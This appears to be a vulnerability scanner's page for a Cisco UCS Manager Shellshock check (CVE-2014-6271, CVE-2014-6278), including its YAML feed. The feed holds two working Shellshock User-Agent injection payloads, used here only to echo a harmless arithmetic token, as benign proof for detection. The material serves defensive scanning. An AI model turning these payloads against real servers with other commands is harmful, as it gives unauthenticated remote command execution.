Cisco UCS — 1 vulnerability check

noctis ships 1 vulnerability check for Cisco UCS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cisco UCS Manager GNU Bash Shellshock RCE via isSamInstalled.cgi

CVECVE-2014-6271, CVE-2014-6278
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/cisco-ucs/cisco-ucs-manager-shellshock.yaml

Cisco UCS Manager runs /ucsm/isSamInstalled.cgi through a GNU Bash vulnerable to Shellshock (cisco-sa-20140926-bash). A crafted User-Agent header is parsed by bash as a function definition and the trailing commands are executed, giving unauthenticated remote command execution. This feed injects an inert `echo` of a per-run arithmetic expansion and confirms that bash evaluated it.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /ucsm/isSamInstalled.cgi
  3. Parses / computes the next value with a Rhai script
  4. Checks classic_chk.evaluated for ^true$ → finding QoD 97: Cisco UCS Manager Shellshock RCE via isSamInstalled.cgi (CVE-2014-6271, CVE-2014-6278)
  5. HTTP(S) request GET /ucsm/isSamInstalled.cgi
  6. Parses / computes the next value with a Rhai script
  7. Checks v6278_chk.evaluated for ^true$ → finding QoD 97: Cisco UCS Manager Shellshock RCE via isSamInstalled.cgi (CVE-2014-6278)

References:

Feed source — tests/vulnerabilities/cisco-ucs/cisco-ucs-manager-shellshock.yaml
# Cisco UCS Manager — GNU Bash "Shellshock" command injection via
# /ucsm/isSamInstalled.cgi (cisco-sa-20140926-bash: CVE-2014-6271, CVE-2014-6278).
#
# Ported from OpenVAS/Greenbone NVT `2016/gb_cisco_ucs_shellshock.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105570, GPL-2.0-only).
#
# UCS Manager runs the isSamInstalled.cgi script through bash, which imports
# every CGI environment variable (HTTP_USER_AGENT, ...) and parses a value
# starting with `() {` as a function definition. The NASL sends two
# User-Agent payloads, in order:
#   1. the classic `() { X:; }; <cmds>` trailer         (CVE-2014-6271 / -7169)
#   2. `() { _; X; } >_[$($())] { <cmds> }`             (CVE-2014-6278 — still
#      runs on bash builds patched for 6271/7169 only)
#
# Detection (benign proof): instead of the NASL's `id`, the injected command is
# `echo NOCTIS$((A*B))` for two random integers A, B generated per run. Only a
# shell that EVALUATED our header prints the product `NOCTIS<A*B>` — a server
# that merely reflects the header returns the literal `$((A*B))`, so a
# reflection can't false-positive. No command other than the shell builtin
# `echo` runs; nothing is written. QoD 97.
#
# Beyond the NASL:
#   - the NASL only runs once its UCS Manager detection NVT has registered the
#     product (get_app_location); this feed needs no prior fingerprint — the
#     arithmetic proof is self-confirming, so UCS instances the detection
#     misses are still covered;
#   - the NASL's `uid=[0-9]+.*gid=[0-9]+` match can fire on any page that
#     happens to contain `id` output; the per-run arithmetic token cannot;
#   - each payload reports what it proves: the classic trailer proves
#     CVE-2014-6271 and implies CVE-2014-6278 (the same pre-patch bash also has
#     the 6278 parser flaw, fixed only in bash43-027); the second form isolates
#     CVE-2014-6278, so a 6271/7169-patched but 6278-vulnerable bash is called
#     out as such.
uid: 3e647f5d-f0c4-411a-93f7-a7278dce8b47
name: "Cisco UCS Manager GNU Bash Shellshock RCE via isSamInstalled.cgi (CVE-2014-6271, CVE-2014-6278)"
description: |
  Cisco UCS Manager runs /ucsm/isSamInstalled.cgi through a GNU Bash vulnerable
  to Shellshock (cisco-sa-20140926-bash). A crafted User-Agent header is parsed
  by bash as a function definition and the trailing commands are executed,
  giving unauthenticated remote command execution. This feed injects an inert
  `echo` of a per-run arithmetic expansion and confirms that bash evaluated it.
cves: [CVE-2014-6271, CVE-2014-6278]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [cisco, ucs, ucs-manager, bash, shellshock, cgi, rce, kev, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6271"
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-6278"
  - "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash"
  - "https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html"

steps:
  # ── Per-run benign probe: `echo NOCTIS$((A*B))`, expected token NOCTIS<A*B> ─
  - id: build-probe
    action: script
    store_as: calc
    code: |
      let a = rand_int(10007, 99991);
      let b = rand_int(10007, 99991);
      #{
        expr: "NOCTIS$((" + a.to_string() + "*" + b.to_string() + "))",
        token: "NOCTIS" + (a * b).to_string()
      }

  # Pre-initialise the stored results: a failed request (timeout, reset)
  # leaves store_as unset, and the check scripts would then abort the test.
  - id: init-classic-resp
    action: set_var
    var_name: classic_resp
    var_value: {status: 0, body: ""}

  - id: init-6278-resp
    action: set_var
    var_name: v6278_resp
    var_value: {status: 0, body: ""}

  # ── 1. Classic trailer (CVE-2014-6271 / CVE-2014-7169) ─────────────────────
  - id: probe-classic
    action: http_request
    method: GET
    path: "/ucsm/isSamInstalled.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      User-Agent: "() { NOCTIS:; }; echo Content-Type: text/plain; echo; echo {{calc.expr}}"
      Connection: "close"
      Accept: "*/*"
    store_as: classic_resp

  - id: check-classic
    action: script
    store_as: classic_chk
    code: |
      let body = if type_of(classic_resp.body) == "string" { classic_resp.body } else { "" };
      #{ evaluated: stridx(body, calc.token) >= 0 }

  - id: confirm-classic
    action: match
    source: classic_chk.evaluated
    pattern: "^true$"
    on_match:
      finding:
        title: "Cisco UCS Manager Shellshock RCE via isSamInstalled.cgi (CVE-2014-6271, CVE-2014-6278)"
        description: "/ucsm/isSamInstalled.cgi runs through a GNU Bash that executes commands trailing a function definition in an environment variable. An inert `echo` of a per-run arithmetic expansion injected in the User-Agent header was evaluated by bash, confirming unauthenticated remote command execution."
        remediation: "Upgrade Cisco UCS Manager to a release fixed for cisco-sa-20140926-bash (patched GNU Bash)."
        cves: [CVE-2014-6271, CVE-2014-6278]
        confidence_delta: 0.75
        qod: 97
        evidence: "GET /ucsm/isSamInstalled.cgi with User-Agent `() { NOCTIS:; }; ... echo {{calc.expr}}` returned the evaluated token {{calc.token}} — bash executed the trailing command"
      stop: true

  # ── 2. CVE-2014-6278 form (bash patched for 6271/7169 only) ────────────────
  - id: probe-6278
    action: http_request
    method: GET
    path: "/ucsm/isSamInstalled.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      User-Agent: "() { _; NOCTIS; } >_[$($())] { echo Content-Type: text/plain; echo; echo {{calc.expr}}; }"
      Connection: "close"
      Accept: "*/*"
    store_as: v6278_resp

  - id: check-6278
    action: script
    store_as: v6278_chk
    code: |
      let body = if type_of(v6278_resp.body) == "string" { v6278_resp.body } else { "" };
      #{ evaluated: stridx(body, calc.token) >= 0 }

  - id: confirm-6278
    action: match
    source: v6278_chk.evaluated
    pattern: "^true$"
    on_match:
      finding:
        title: "Cisco UCS Manager Shellshock RCE via isSamInstalled.cgi (CVE-2014-6278)"
        description: "/ucsm/isSamInstalled.cgi runs through a GNU Bash that is patched for CVE-2014-6271/CVE-2014-7169 but still executes commands through the CVE-2014-6278 function-definition parser flaw. An inert `echo` of a per-run arithmetic expansion injected in the User-Agent header was evaluated by bash, confirming unauthenticated remote command execution."
        remediation: "Upgrade Cisco UCS Manager to a release fixed for cisco-sa-20140926-bash (GNU Bash with the CVE-2014-6277/6278 fixes)."
        cves: [CVE-2014-6278]
        cvss: 8.8       # NVD shows only the CISA ADP v3.1 score for CVE-2014-6278
        severity: high
        confidence_delta: 0.75
        qod: 97
        evidence: "GET /ucsm/isSamInstalled.cgi with User-Agent `() { _; NOCTIS; } >_[$($())] { ... echo {{calc.expr}}; }` returned the evaluated token {{calc.token}} — bash executed the injected command (CVE-2014-6278)"
      stop: true

View these feeds on GitHub